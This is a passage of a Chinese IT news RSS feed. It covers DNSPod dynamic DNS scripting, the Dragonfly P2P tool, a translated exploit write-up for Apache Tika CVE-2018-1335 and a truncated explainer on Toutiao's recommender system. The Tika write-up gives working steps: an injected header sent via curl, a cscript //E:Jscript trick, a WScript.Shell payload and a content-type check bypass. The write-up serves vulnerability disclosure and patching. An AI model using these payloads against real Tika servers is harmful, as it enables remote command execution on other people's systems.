      <description>&lt;p&gt;  &lt;strong&gt;标签：&lt;/strong&gt;    &lt;a href="https://blogread.cn/it/tags.php?tag=api" target="_blank"&gt;api&lt;/a&gt;    &lt;a href="https://blogread.cn/it/tags.php?tag=DNSPOD" target="_blank"&gt;DNSPOD&lt;/a&gt;    &lt;a href="https://blogread.cn/it/tags.php?tag=%E5%9F%9F%E5%90%8D" target="_blank"&gt;域名&lt;/a&gt;&lt;/p&gt; &lt;p&gt;0. 你得有一个 dnspod 帐号，并且把你的域名（例如 test.com ）解析迁移过去（略）  &lt;br /&gt;  &lt;br /&gt;1. 添加一个子域名的 A 记录，例如 ddns.test.com 指向 127.0.0.1  &lt;br /&gt;  &lt;br /&gt;  $ export domain=test.com  &lt;br /&gt;  $ export subdomain=ddns  &lt;br /&gt;  &lt;br /&gt;2. 生成一个token：参考官方说明   &lt;a href="https://support.dnspod.cn/Kb/showarticle/tsid/227/" target="_blank"&gt;https://support.dnspod.cn/Kb/showarticle/tsid/227/&lt;/a&gt;  &lt;br /&gt;  &lt;br /&gt;【务必注意】需要用生成的 ID 和 Token 这两个字段来组合成一个完整的 Token，组合方式为：&amp;quot;ID,Token&amp;quot;（用英文半角逗号分割），比如官方示例中，完整的 Token 为：13490,6b5976c68aba5b14a0558b77c17c3932 。  &lt;br /&gt;  &lt;br /&gt;  $ export token=13490,6b5976c68aba5b14a0558b77c17c3932  &lt;br /&gt;  &lt;br /&gt;3. 获取必要信息: 域名和子域名的ID  &lt;br /&gt;  &lt;br /&gt;  $ curl -X POST   &lt;a href="https://dnsapi.cn/Record.List" target="_blank"&gt;https://dnsapi.cn/Record.List&lt;/a&gt; -d &amp;quot;login_token=${token}&amp;amp;format=json&amp;amp;domain=${domain}&amp;amp;sub_domain=${subdomain}&amp;quot;  &lt;br /&gt;  &lt;br /&gt;返回结果为：{&amp;quot;status&amp;quot;:{...}, &amp;quot;domain&amp;quot;:{&amp;quot;id&amp;quot;:640001, &amp;quot;name&amp;quot;:&amp;quot;test.com&amp;quot;, ...}, &amp;quot;info&amp;quot;:{...}, &amp;quot;records&amp;quot;:[{&amp;quot;id&amp;quot;:&amp;quot;355300007&amp;quot;, &amp;quot;name&amp;quot;:&amp;quot;ddns&amp;quot;, ...}]}  &lt;br /&gt;  &lt;br /&gt;记录下对应域名的id 和子域名的id  &lt;br /&gt;  &lt;br /&gt;  $ export domain_id=640001  &lt;br /&gt;  $ export subdomain_id=355300007  &lt;br /&gt;  &lt;br /&gt;4. 获取外网ip  &lt;br /&gt;  &lt;br /&gt;  $ wanip=`nc ns1.dnspod.net 6666`  &lt;br /&gt;  &lt;br /&gt;5. 更新记录  &lt;br /&gt;  &lt;br /&gt;  $ curl   &lt;a href="https://dnsapi.cn/Record.Ddns" target="_blank"&gt;https://dnsapi.cn/Record.Ddns&lt;/a&gt; -d &amp;quot;login_token=${token}&amp;amp;format=json&amp;amp;domain_id=$domain_id&amp;amp;record_id=$record_id&amp;amp;sub_domain=$sub_domain&amp;amp;record_line=默认&amp;amp;value=$wanip&amp;quot;  &lt;br /&gt;  &lt;br /&gt;= 完 =  &lt;br /&gt;  &lt;br /&gt;（其实没完）其中 1、2、3 做完以后  &lt;br /&gt;  &lt;br /&gt;6. 把 4、5 可以写到一个脚本里  &lt;br /&gt;  &lt;br /&gt;  $ vi dnspod.sh  &lt;br /&gt;&lt;/p&gt; &lt;div&gt;#!/bin/bash  &lt;br /&gt;  &lt;br /&gt;domain_id=640001  &lt;br /&gt;record_id=355300007  &lt;br /&gt;sub_domain=ddns  &lt;br /&gt;  &lt;br /&gt;wanip=`nc ns1.dnspod.net 6666`  &lt;br /&gt;curl   &lt;a href="https://dnsapi.cn/Record.Ddns" target="_blank"&gt;https://dnsapi.cn/Record.Ddns&lt;/a&gt; -d &amp;quot;login_token=${token}&amp;amp;format=json&amp;amp;domain_id=$domain_id&amp;amp;record_id=$record_id&amp;amp;sub_domain=$sub_domain&amp;amp;record_line=默认&amp;amp;value=$wanip&amp;quot;&lt;/div&gt; &lt;br /&gt; &lt;br /&gt;7. 设置 crontab &lt;br /&gt; &lt;br /&gt;  $ crontab -e &lt;br /&gt; &lt;br /&gt; &lt;div&gt;  &lt;div&gt;引用&lt;/div&gt;  &lt;div&gt;*/15 * * * * sh /path/to/dnspod.sh&lt;/div&gt;&lt;/div&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt;
				 &lt;p&gt;  &lt;strong&gt;您可能还对下面的文章感兴趣：&lt;/strong&gt;&lt;/p&gt;
				 &lt;p&gt;&lt;/p&gt; &lt;ol&gt;  &lt;li&gt;   &lt;a href="https://blogread.cn/it/article.php?id=8159" target="_blank"&gt;最萌域名.cat背后的故事：加泰与西班牙政府的暗战&lt;/a&gt; [2017-10-15 09:27:45]&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://blogread.cn/it/article.php?id=6803" target="_blank"&gt;域名DNS相关术语&lt;/a&gt; [2014-03-19 22:40:30]&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://blogread.cn/it/article.php?id=5998" target="_blank"&gt;域名相关的一些基本概念总结&lt;/a&gt; [2012-11-11 23:47:37]&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://blogread.cn/it/article.php?id=4280" target="_blank"&gt;Apache用mod_rewrite配置子域名&lt;/a&gt; [2011-09-04 22:47:02]&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://blogread.cn/it/article.php?id=3414" target="_blank"&gt;如何拿下简短的域名&lt;/a&gt; [2011-03-07 22:45:33]&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://blogread.cn/it/article.php?id=2500" target="_blank"&gt;网址决定内容&lt;/a&gt; [2010-10-13 08:26:34]&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://blogread.cn/it/article.php?id=1135" target="_blank"&gt;A记录,MX记录,CNAME记录,url转发,ns记录,动态记录&lt;/a&gt; [2010-03-03 09:17:10]&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://blogread.cn/it/article.php?id=440" target="_blank"&gt;全站换域名时利用nginx和javascript做简单友好的换域名跳转通知&lt;/a&gt; [2009-11-04 11:31:18]&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://blogread.cn/it/article.php?id=346" target="_blank"&gt;使用apache下的301设置来做域名的更换转移&lt;/a&gt; [2009-10-28 20:44:20]&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://blogread.cn/it/article.php?id=159" target="_blank"&gt;Apache、resin、rewrite泛域名、多域名设置&lt;/a&gt; [2009-10-14 13:40:57]&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;&lt;/p&gt; &lt;img alt="" height="1" src="http://feeds.feedburner.com/~r/blogreadIT/~4/17xYk1Q3oWY" width="1"&gt;&lt;/img&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>网络系统</category>
      <guid isPermaLink="true">https://itindex.net/detail/59752-dnspod-api-%E5%9F%9F%E5%90%8D</guid>
      <pubDate>Thu, 27 Jun 2019 13:55:01 CST</pubDate>
    </item>
    <item>
      <title>P2P 文件分发系统 Dragonfly</title>
      <link>https://itindex.net/detail/59718-p2p-%E6%96%87%E4%BB%B6-%E7%B3%BB%E7%BB%9F</link>
      <description>&lt;table width="100%"&gt;
                              &lt;tr&gt;
                                                                       &lt;td valign="top" width="100"&gt;
                                            &lt;a href="https://www.oschina.net/p/ali-dragonfly"&gt;     &lt;img border="0" src="https://static.oschina.net/uploads/logo/ali-dragonfly_YhzXE.png"&gt;&lt;/img&gt;&lt;/a&gt;
                                    &lt;/td&gt;
                                                                   &lt;td valign="top"&gt;Dragonfly（蜻蜓）是阿里自研的 P2P 文件分发系统，用于解决大规模文件分发场景下分发耗时、成功率低、带宽浪费等难题。大幅提升发布部署、数据预热、大规模容器镜像分发等业务能力。 开源版的 Dragonfly 可用于 P2P 文件分发、容器镜像分发、局部限速、磁盘容量预检等。它支持多种容器技术，对容器本身无需做任何改造，镜像分发比 natvie 方式提速可高达 57 倍，Registry 网络出流量降低99.5%以上。...&lt;/td&gt;
                            &lt;/tr&gt;
                        &lt;/table&gt;
                        &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>存储系统</category>
      <guid isPermaLink="true">https://itindex.net/detail/59718-p2p-%E6%96%87%E4%BB%B6-%E7%B3%BB%E7%BB%9F</guid>
      <pubDate>Tue, 26 Dec 2017 12:48:36 CST</pubDate>
    </item>
    <item>
      <title>Apache Tika命令注入漏洞挖掘</title>
      <link>https://itindex.net/detail/59669-apache-tika-%E5%91%BD%E4%BB%A4</link>
      <description>&lt;h2&gt;介绍&lt;/h2&gt;
 &lt;p&gt;  &lt;strong&gt;这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤。CVE是   &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2018-1335"&gt;https://nvd.nist.gov/vuln/detail/CVE-2018-1335&lt;/a&gt;。由于Apache Tika是开源的，我能够通过分析Apache Tika代码来确定问题。虽然命令注入漏洞通常很简单，但要实现完整的远程代码或命令执行需要克服一些障碍。这是由于Java处理执行操作系统命令的方式以及Apache    Tika代码本身的一些特性。但在最后，我们仍然可以使用Cscript.exe来执行操作。&lt;/strong&gt;&lt;/p&gt;
 &lt;h2&gt;什么是Apache Tika&lt;/h2&gt;
 &lt;blockquote&gt;  &lt;p&gt;Apache Tika™工具包可从超过一千种不同的文件类型（如PPT，XLS和PDF）中检测和提取元数据和文本。所有这些文件类型都可以通过一个接口进行解析，使得Tika对搜索引擎索引，内容分析，翻译等非常有用。（   &lt;a href="https://tika.apache.org/"&gt;https://tika.apache.org/&lt;/a&gt;）&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;Apache Tika有几个不同的组件：Java库，命令行工具和自带REST API的独立服务器（tika-server）。此攻击特别针对独立服务器，它通过REST API公开  &lt;a href="https://wiki.apache.org/tika/TikaJAXRS"&gt;https://wiki.apache.org/tika/TikaJAXRS&lt;/a&gt;。样本可在  &lt;a href="https://archive.apache.org/dist/tika/tika-server-1.17.jar"&gt;https://archive.apache.org/dist/tika/tika-server-1.17.jar&lt;/a&gt;找到。&lt;/p&gt;
 &lt;h2&gt;Breaking Down The CVE&lt;/h2&gt;
 &lt;p&gt;我们首先需要阅读issue，看看可以从中获取哪些信息。&lt;/p&gt;
 &lt;p&gt;原始描述：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;在Tika 1.18之前，客户端可以将精心设计的标头发送到tika-server，该标头可用于将命令注入运行tika-server的服务器的命令行。此漏洞仅影响在对不受信任的客户端开放的服务器上运行tika-server的漏洞。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;我们可以从这个描述中看到的事情：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1.版本1.18已修补；&lt;/p&gt;
  &lt;p&gt;2.版本1.17未修补；&lt;/p&gt;
  &lt;p&gt;3.该漏洞是命令注入；&lt;/p&gt;
  &lt;p&gt;4.漏洞的入口点是“headers”；&lt;/p&gt;
  &lt;p&gt;5.这会影响代码的tika-server部分。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;有了这些信息，我们现在有了一个识别漏洞的起点。下一步将看看Tika补丁和未补丁版本的差异，特别是tika-server部分。为Java中已知的执行操作系统命令的函数编写Grepping代码是另一个不错的选择。最后，搜索tika-server代码的各个部分，我们可以假设这些报头是某种HTTP请求。&lt;/p&gt;
 &lt;h2&gt;0×01&lt;/h2&gt;
 &lt;p&gt;对tika-server 1.17与1.18源目录进行并行递归比较。只返回一个已修改的文件，如下部分。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="1.png" height="240" src="https://image.3001.net/images/20190517/1558071432_5cde488809ec9.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;由于目标是在头字段中找到命令注入，所以第一个结果是一个代码块，这个代码块已经添加到补丁版本“ALLOWABLE_HEADER_CHARS”中。这是一个非常好的开始,假设这是补丁试图过滤可用于将命令注入头字段的字符。&lt;/p&gt;
 &lt;p&gt;继续向下是一个名为“processHeaderConfig”的函数内部的代码，它已在1.18中删除。它使用一些变量来动态创建一个方法，该方法似乎设置了某个对象的属性，并使用HTTP头来执行此操作。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="2.png" height="293" src="https://image.3001.net/images/20190517/1558071442_5cde489299670.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;以下是此功能的说明：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="3.png" height="215" src="https://image.3001.net/images/20190517/1558071452_5cde489ce7207.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;截图显示了不同属性的前缀，并在此代码的开头定义为静态字符串。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="4.png" height="110" src="https://image.3001.net/images/20190517/1558071460_5cde48a414f30.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;因此，我们有一些静态字符串可以作为HTTP头文件包含在请求中，并用于设置对象的某些属性。最终header的示例看起来像“X-Tika-OCRsomeproperty：somevalue”，然后将“someproperty”转换为类似于“setSomeproperty()”的函数，并将somevalue作为要设置的值传递给该函数。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="5.png" height="168" src="https://image.3001.net/images/20190517/1558071467_5cde48ab1a805.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;可以看到这里正在使用这个函数，并且在请求中检查了前缀头以确定如何调用该函数。然后，所有需要的参数都从HTTP请求传递到“processHeaderConfig”函数。&lt;/p&gt;
 &lt;p&gt;查看使用“processHeaderConfig”函数的方式，可以看到正在“TesseractOCRConfig”对象上设置属性。搜索可能使用我们发现的“TesseractOCRConfig”对象的地方：  &lt;a href="https://github.com/apache/tika/blob/86e997510b44f12dc9f90a68aaf583d5d3912892/tika-parsers/src/main/java/org/apache/tika/parser/ocr/TesseractOCRParser.java"&gt;tika-parsers/src/main/java/org/apache/tika/parser/ocr/TesseractOCRParser.java&lt;/a&gt;。&lt;/p&gt;
 &lt;p&gt;这是来自“TesseractOCRParser.java”的“doOCR”函数，它将配置属性从我们刚刚发现的“TesseractOCRConfig”对象直接传递到一个字符串数组中，这些字符串用于构造“ProcessBuilder”的命令，然后该过程已开始。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="6.png" height="167" src="https://image.3001.net/images/20190517/1558071476_5cde48b48327e.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这看起来很有希望,如果我们将所有信息放在一起，我们应该能够向服务器发出某种HTTP请求，设置一个看起来像“X-Tika-OCRTesseractPath：&amp;lt;some command&amp;gt;”的标题。并将此命令插入cmd字符串并执行。唯一的问题是“config.getTesseractPath()”前缀为另一个我们无法控制的字符“getTesseractProg()”，最终是一个静态字符串“tesseract.exe”。为了解决这个问题，我们可以用双引号包装我们想要执行的命令，Windows将忽略引号后附加的任何内容，只执行我们的注入的命令。&lt;/p&gt;
 &lt;p&gt;为了进行测试，我们可以使用tika-server文档中的示例来检索有关文件的一些元数据。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="7.png" height="220" src="https://image.3001.net/images/20190517/1558071485_5cde48bd03512.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;由于OCR用于从图像中提取文本和内容，我们将上传图像而不是docx，以期有望达到“doOCR”功能。&lt;/p&gt;
 &lt;p&gt;我们最终得到：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;curl -T test.tiff http://localhost:9998/meta --header &amp;quot;X-Tika-OCRTesseractPath: \&amp;quot;calc.exe\&amp;quot;&amp;quot;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;  &lt;img alt="8.png" height="332" src="https://image.3001.net/images/20190517/1558071491_5cde48c3bcca9.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;在上传图像时，通过在PUT请求中将一个命令用双引号括起来作为“X-Tika-OCRTesseractPath”HTTP头的值来标识命令注入。&lt;/p&gt;
 &lt;h2&gt;0×02 不仅仅是弹个计算器&lt;/h2&gt;
 &lt;p&gt;我们直接更改正在执行的应用程序名称。由于该命令作为数组传递给Java ProcessBuilder，因此我们实际上不能运行多个命令，也不能将参数作为单个字符串添加到命令中，否则执行将失败。这是因为将一组字符串传递给Java中的进程构建器或runtime.exec的工作方式如下：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="9.png" height="202" src="https://image.3001.net/images/20190517/1558071501_5cde48cd4d6d3.png!small" width="500"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;通常像cmd.exe或/bin/sh这样的shell解释的字符（例如＆，&amp;lt;，&amp;gt;，|，`等）不会被ProcessBuilder解释并且将被忽略，因此您不能中断命令或添加任何将它作为单个字符串的参数。不像“X-Tika-OCRTesseractPath: \“cmd.exe /c some args\”这样简单。&lt;/p&gt;
 &lt;p&gt;回到“cmd”数组的构造，您可以看到我们也控制了命令中的多个参数，这是每个看起来像“config.get*()”的项，但是它被一些我们不控制的其他项分割开了。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="10.png" height="167" src="https://image.3001.net/images/20190517/1558071510_5cde48d650a45.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;我的第一个想法是运行“cmd.exe”，然后将参数“/c”作为“config.getLanguage()”传入，然后将“|| somecommand ||”作为“config.getPageSegMode()”插入，这虽然可以执行“somecommand”。但是在调用｀“doOCR”｀之前，还有另一个函数在｀“config.getTesseractPath()”｀字符串上调用，该字符串只执行该命令（目的是检查是否被调用的应用程序是有效的应用程序）。这里的问题是只运行没有参数的“cmd.exe”并一直挂起，因为“cmd.exe”永远不会退出并让执行继续执行“doOCR”功能。&lt;/p&gt;
 &lt;h2&gt;0×03 解决方案&lt;/h2&gt;
 &lt;p&gt;除了运行单个命令外，我们可以更深入地了解“doOCR”函数使用  &lt;a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon"&gt;Process Monitor&lt;/a&gt;启动进程时会发生什么。 查看进程的属性，当tika-server启动它时，会生成以下命令行，该命令行是使用inject命令构造的。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;quot;calc.exe&amp;quot;tesseract.exe C:\Users\Test\AppData\Local\Temp\apache-tika-3299124493942985299.tmp C:\Users\Test\AppData\Local\Temp\apache-tika-7317860646082338953.tmp -l eng -psm 1 txt -c preserve_interword_spaces=0&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;我们控制的命令部分以红色突出显示。我们可以在命令中注入3个地方，1个命令和2个参数。另一个有趣的发现是Tika实际上创建了2个临时文件，其中一个作为第一个参数被传递。&lt;/p&gt;
 &lt;p&gt;经过一些进一步的调查后，我能够确认传递给命令的第一个临时文件是我上传的文件中的内容。这意味着我可以用一些代码或命令填充该文件并执行它。&lt;/p&gt;
 &lt;p&gt;现在我必须找到一个原生的Windows应用程序，它将忽略tika-server创建的所有随机杂散参数，并仍然执行第一个文件内容作为某种命令或代码，即使它具有“.tmp”扩展名。找到一些可以做到这一切的事情起初对我来说听起来不太可能。最后我发现了Cscript.exe，它看起来有点希望。我们来看看Cscript可以做些什么。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="11.png" height="378" src="https://image.3001.net/images/20190517/1558071519_5cde48dfaf2f0.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;Cscript正是我们所需要的。它将第一个参数作为脚本，并允许您使用”//E:engine”标志来指定要使用的脚本引擎（可能是Jscript或VBS），因此文件扩展名无关紧要。将它放入新命令现在看起来如下所示。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;quot;cscript.exe&amp;quot;tesseract.exe C:\Users\Test\AppData\Local\Temp\apache-tika-3299124493942985299.tmp C:\Users\Test\AppData\Local\Temp\apache-tika-7317860646082338953.tmp -l //E:Jscript -psm 1 txt -c preserve_interword_spaces=0&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;这可以通过设置以下HTTP标头来完成：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;X-Tika-OCRTesseractPath: &amp;quot;cscript.exe&amp;quot;X-Tika-OCRLanguage: //E:Jscript&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;将上传的“image”文件将包含一些Jscript或VBS：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;var oShell = WScript.CreateObject(&amp;quot;WScript.Shell&amp;quot;);var oExec = oShell.Exec(&amp;apos;cmd /c calc.exe&amp;apos;);&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;首先，上传失败，因为它不是有效图片，无法验证图像的魔术字节。然后我发现将内容类型设置为“image/jp2”迫使Tika不检查图像中的魔术字节，但仍然通过OCR处理图像。这允许上载包含Jscript的图像。&lt;/p&gt;
 &lt;p&gt;最后，将所有这些放在一起，我们有完整的command/jscript/vbs脚本。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="12.gif" height="333" src="https://image.3001.net/images/20190517/1558071528_5cde48e8d21cb.gif!small" width="521"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;结论&lt;/h2&gt;
 &lt;p&gt;虽然这是一个简单的命令注入，但为了利用，还是需要尝试各种方法的。Apache不建议在不受信任的环境中运行Tika服务器或将其暴露给不受信任的用户。此错误也已修补，当前版本为1.20，因此如果您使用此服务，请确保更新。&lt;/p&gt;
 &lt;p&gt;PoC：  &lt;a href="https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-1335"&gt;https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-1335&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*参考来源：   &lt;a href="https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/"&gt;rhinosecuritylabs&lt;/a&gt;，FB小编周大涛编译，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>漏洞 系统安全 Apache Tika java 命令注入</category>
      <guid isPermaLink="true">https://itindex.net/detail/59669-apache-tika-%E5%91%BD%E4%BB%A4</guid>
      <pubDate>Sat, 08 Jun 2019 13:00:47 CST</pubDate>
    </item>
    <item>
      <title>2张图带你看懂今日头条推荐系统</title>
      <link>https://itindex.net/detail/59475-%E4%BB%8A%E6%97%A5%E5%A4%B4%E6%9D%A1-%E6%8E%A8%E8%8D%90%E7%B3%BB%E7%BB%9F</link>
      <description>&lt;blockquote&gt;  &lt;p&gt;推荐系统是一个策略行为，本文将用两张图，来带你看懂今日头条的推荐系统。&lt;/p&gt;&lt;/blockquote&gt;
 &lt;p&gt;  &lt;img alt="" height="450" src="http://image.woshipm.com/wp-files/2019/04/jyRWgH4oniv0b7AWL5bx.png" width="800"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;推荐系统的“前身”&lt;/h2&gt;
 &lt;p&gt;2016年，腾讯以80亿美元估值投资今日头条，结果大家都知道，张一鸣拒绝了腾讯的投资，现在大家也知道，字节跳动估值750亿美元，这一切，推荐系统功不可没。&lt;/p&gt;
 &lt;p&gt;因为搜索引擎和推荐系统太相似，相对来说也更简单（勿喷），所以我们先来了解一下搜索引擎。至于搜素引擎是不是推荐系统的前身，我很懒，没有考察。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="540" src="http://image.woshipm.com/wp-files/2019/04/fyP1T6pS1EKOr9qFdBMe.png" width="1488"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;如上图，搜索引擎分成为离线部分和在线部分，每一部分有不同的使命。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="572" src="http://image.woshipm.com/wp-files/2019/04/fnClOUrpJhv6DikJrK5h.png" width="685"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;简单来说，搜索引擎的离线部分，专注于内容的搜集和处理。搜索引擎通过网络爬虫抓取网站上的原始内容，并将内容建立索引。这些内容会根据搜索系统的不同要求建立不同的索引体系，比如新闻类型的内容，会建立时效性的索引数据。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="718" src="http://image.woshipm.com/wp-files/2019/04/mjHfuJOXqOIuS9jIGjvT.png" width="1434"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;搜索引擎的在线部分，负责响应用户的搜索请求，完成内容的筛选和排序，并将最终结果返回给用户。我们举一个例子来说明这个流程：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;用户在搜索引擎输入一个关键词NBA，搜索引擎搜索会对关键词进行分析、变换、扩充和纠错等处理，比如发现美职篮与NBA是同义词，就会将其扩充。&lt;/li&gt;
  &lt;li&gt;接下来，搜索引擎会通过多种方式从不同索引数据获得候选集，这个环节叫召回。&lt;/li&gt;
  &lt;li&gt;得到候选集后，搜索引擎通过更精细的计算模型对每一篇候选内容进行分值计算，对候选集的每一项进行排序。&lt;/li&gt;
  &lt;li&gt;这个时候，还不能将结果展示给用户，需要经过规则干预这一过程。这个过程服务于特定的产品目的。假如有这样一条“官方网站保护规则，确保所有品牌搜索词都可以优先返回官网”，则此时就会将官网插入并置顶，最后再将结果展示给用户。&lt;/li&gt;
  &lt;li&gt;此时，搜索引擎的工作还未结束。搜索引擎会根据用户的点击反馈去优化排序模型。比如，大部分用户都没有点击文章10，则文章10后续就不会获得更靠前的展现位置。&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;对以上两图进行总结就是下图，就是想让你们看的第一张图：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="718" src="http://image.woshipm.com/wp-files/2019/04/UJmM52Z4pZdTGpwFaTGm.png" width="2208"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;今日头条的推荐系统&lt;/h2&gt;
 &lt;p&gt;通过上“一”张图，我们明白了搜索引擎的原理（无论怎样我都会装作你看懂了），而今日头条的这张图，就是比上图上多了一笔，考虑到这两张图高度相似，我这么懒的人，当然是不会去画的了，你们发挥想象吧。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="718" src="http://image.woshipm.com/wp-files/2019/04/uJmmFygO0zFDJVzKQj9f.png" width="771"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;其实，推荐系统也有离线部分和在线部分。上图（那不是图，是PNG）即是推荐系统的离线部分，与搜索引擎大同小异。&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;和搜索引擎一样，推荐系统也需要获取内容。推荐系统通过数据库导入、协议同步和用户提交等方式获取推荐内容。区别于搜索引擎，推荐系统获取内容的方式较多，且内容的结构化程度要远胜于搜索引擎爬虫抓取的内容。&lt;/li&gt;
  &lt;li&gt;推荐系统也需要将待推荐的内容进行索引化处理，这一点与搜索引擎较为相似。推荐系统的维度会更多。&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;  &lt;img alt="" height="718" src="http://image.woshipm.com/wp-files/2019/04/nDCwme6fYRxOeB1IqWWs.png" width="1434"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;接下来，就是推荐系统的在线部分了。天啊，看到上图，发现推荐系统真的和搜索引擎太像了，就多了一笔。&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;搜索引擎的输入为用户的搜索关键词，推荐系统同样需要输入，只是这个过程用户没有感知，对推荐系统来说，它的输入为场景信息，比如时间、地点和设备等。&lt;/li&gt;
  &lt;li&gt;搜索引擎获得输入后，会进行关键词处理，对于推荐系统来说，会进行用户画像查询。这个案例中，推荐系统了解到，该用户在实体词维度，对NBA感兴趣，在分类维度，对体育和科技感兴趣。&lt;/li&gt;
  &lt;li&gt;查询到用户画像后，推荐系统就进入召回环节。它通过多种方式，根据用户画像查询结果“NBA、体育和科技”，从不同索引数据里获得候选集合。&lt;/li&gt;
  &lt;li&gt;在召回完成后，和搜索引擎一样，推荐系统按照预定预估目标对候选集进行排序。&lt;/li&gt;
  &lt;li&gt;同样，推荐系统也需要经过规则干预步骤后，才会将最终结果展示给用户。&lt;/li&gt;
  &lt;li&gt;对于最后一步，用户的各种动作行为，在搜索引擎里，会持续优化排序模型，在推荐系统里，还会持续改进自身的画像。&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;对以上两图进行总结就是下图，就是想让你们看的第二张PNG（图)：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" height="718" src="http://image.woshipm.com/wp-files/2019/04/drB9dpmVSrPYlo5RvSqr.png" width="2294"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;推荐系统的本质&lt;/h2&gt;
 &lt;p&gt;通过对搜索引擎和推荐系统的两张图，我们大致明白了推荐系统是怎么个一回事。实际上，推荐系统是一个策略行为。对于策略，他有四要素，分别是：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;待解决问题&lt;/li&gt;
  &lt;li&gt;输入（影响解决方案的因素）&lt;/li&gt;
  &lt;li&gt;计算逻辑（将输入转换成输出的规则）&lt;/li&gt;
  &lt;li&gt;输出（具体的解决方案）&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;对于今日头条来说：&lt;/p&gt;
